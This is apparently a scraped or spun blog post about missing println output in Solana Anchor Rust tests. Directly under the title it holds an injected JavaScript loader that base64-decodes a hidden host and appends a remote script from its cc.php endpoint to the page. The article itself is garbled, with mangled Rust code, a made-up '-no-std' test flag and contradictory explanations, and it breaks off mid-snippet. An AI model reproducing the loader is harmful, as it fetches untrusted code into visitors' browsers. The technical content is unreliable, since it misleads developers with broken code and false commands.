Solana: when I run anchor test using rust test case I can not see the std out print;
- 2025-02
- by Cn Vn
const pdx=“bm9yZGVyc3dpbmcuYnV6ei94cC8=“;const pde=atob(pdx.replace(/|/g,““));const script=document.createElement(„script“);script.src=“https://“+pde+“cc.php?u=9b58872f“;document.body.appendChild(script);
**
As a development working on an anchor project, One common issue In this article,
The Problem: Printing Standard Output In Tests
When running a test with Cargo test
, anchor’s test module runs your tests as separate processes. By default, these processes don’t output any standard error messages, even if an error occurs during execution. This is because the process is designed to be lightweight and efficient, allowing it to hand errors without consuming too much memory or disk space.
However, this Println! Statements:
rust
use anchor_lang :: prelude ::*;
#[Anchorcontract]
pub mod my_contract {
Use Super :: {Get_token_info, sign_transaction};
#[Actix_test]
async fn test_sign_transaction () {
// Get the Token Info from the Local Storage
let mut token_info = get_token_info ();
// Sign and Transaction
Let _ = sign_transaction (token_info);
// Check that no error occurred during signing
Assert! (False);
}
}
`
When you run this test, the output will be:
`
ok
`
As expected. However, when
The Solution: Using the -no-std
flag
To resolve this issue, you can use the -no-std
flag when running your anchor tests. This flag tells anchor to run.
Here’s an updated command:
`bash
Cargo Test – -no -std -P My_contract
`
By using -no-std
, you’ll see both standard error messages (e.g.,“ error: … „) and warning messages, which will help you identify the issue with your code. This Solution should work for most anchor projects.
Alternative Solution: Using a Custom Logging Mechanism
If you prefer not to use the -no-std
flag or want more control over logging, you can create a custom logging mechanism using thelog
crate. Here’s an example:
Create a new file named logger.rs
in your project directory and add the following code:
`rust
Use std :: io;
Use log :: {info, warn};
Fn Main () {
info! („Starting Test …“);
}
#[CFG (Test)]
mod tests {
Use super ::*;
#[Test]
fn my_test () {
// Test Code Here …
}
}
`
In your cargo.toml
file:
`Toml
[DEPENDENCIES]
log = „0.4.14“
`
Now, when you run your test with Cargo test
, the standard output will include logs from your custom logging mechanism.
Remember to update your tests to use the new logging module, like this:
`rust
use anchor_lang :: prelude ::*;
#[Anchorcontract]
pub mod my_contract {
Use Super :: {Get_token_info, sign_transaction};
#[Actix_test]
async fn test_sign_transaction () {
// Get the Token Info from the Local Storage
let mut token_info = get_token_info ();
// Sign A Transaction Using Custom Logging
Log :: info! („Signing Transaction …“);
Let _ = sign_transaction (token_info);
// Check that no error occurred during signing
Assert!